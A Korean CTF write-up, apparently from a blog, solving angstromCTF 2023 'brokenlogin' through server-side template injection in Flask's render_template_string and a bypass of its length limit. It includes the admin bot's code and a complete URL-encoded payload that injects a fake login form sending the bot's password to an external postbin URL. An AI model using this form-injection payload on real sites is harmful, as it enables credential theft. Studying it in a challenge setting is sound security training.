1. 개요
SSTI(Server side template injection), render_template_string 문제
2. 분석
1) template injection
쿼리 스트링으로 받은 message를 render_template_string 함수로 템플릿에 넣어 렌더링 합니다.
@app.get("/")
def index():
global fails
custom_message = ""
if "message" in request.args:
if len(request.args["message"]) >= 25:
return render_template_string(indexPage, fails=fails)
custom_message = escape(request.args["message"])
return render_template_string(indexPage % custom_message, fails=fails)
템플릿 문법을 이용하여 {{3*3}} 을 전달하면, 결과인 9가 렌더링됨을 확인 할 수 있습니다.
다만, 문제는 message의 길이가 25 보다 크면 message를 안넣는다는 것입니다. 하지만, 이 검사는 message 파라미터에 대해서만 해당하고 messge 하위로 추가 파라미터를 넣으면 25글자를 넘을 수 있습니다.
(그리고, |safe 필터를 사용해서 html 태그 및 스크립트 삽입이 가능하도록 합니다.)
view-source:https://brokenlogin.web.actf.co/?a=%3Ch1%3Ehello%20world%20hello%20world%20hello%20world%20hello%20world%3C/h1%3E&message={{request.args.a|safe}}
2) admin code
어드민 코드를 보면 password에 flag를 넣고 전송합니다. template Injection 을 응용하여 임의로 생성한 postbin 서버에 form을 보내도록 가짜 form을 삽입합니다.
module.exports = {
name: "brokenlogin",
timeout: 7000,
async execute(browser, url) {
if (!/^https:\/\/brokenlogin\.web\.actf\.co\/.*/.test(url)) return;
const page = await browser.newPage();
await page.goto(url);
await page.waitForNetworkIdle({
timeout: 5000,
});
await page.waitForSelector("input[name=username]");
await page.$eval(
"input[name=username]",
(el) => (el.value = "admin")
);
await page.waitForSelector("input[name=password]");
await page.$eval(
"input[name=password]",
(el, password) => (el.value = password),
process.env.CHALL_BROKENLOGIN_FLAG
);
await page.click("input[type=submit]");
await new Promise((r) => setTimeout(r, 1000));
await page.close();
},
};
3) paylaod 작성
임의로 생성한 postbin 서버에 보내도록 가짜 form이 담긴 payload를 작성하고 url encoding을 해줍니다.
https://brokenlogin.web.actf.co/?message=%7B%7Brequest.args%7Csafe%7D%7D&payload=%3Cform%20action=%22https://www.toptal.com/developers/postbin/1682778498787-5156039143912%22%20method=%22POST%22%3E%3Clabel%20for=%22username%22%3EUsername:%20%3C/label%3E%3Cinput%20id=%22username%22%20type=%22text%22%20name=%22username%22%20/%3E%3Cbr%20/%3E%3Cbr%20/%3E%3Clabel%20for=%22password%22%3EPassword:%20%3C/label%3E%3Cinput%20id=%22password%22%20type=%22password%22%20name=%22password%22%20/%3E%3Cbr%20/%3E%3Cbr%20/%3E%3Cinput%20type=%22submit%22%20/%3E%3C/form%3E%3C!--
확인해보면 기존 form은 주석 처리 되어있고 가짜 form만 보입니다.
4) 확인
어드민에게 제출하면 postbin에서 flag를 확인할 수 있습니다.
'CTF' 카테고리의 다른 글
[WaniCTF 2023] netcat (0) | 2023.05.06 |
---|---|
[WaniCTF 2023] 64bps (0) | 2023.05.05 |
[angstromCTF 2023] hallmark (0) | 2023.04.29 |
[angstromCTF 2023] Celeste Speedrunning Association (0) | 2023.04.29 |
[BSidesSF 2023 CTF] prototype (0) | 2023.04.26 |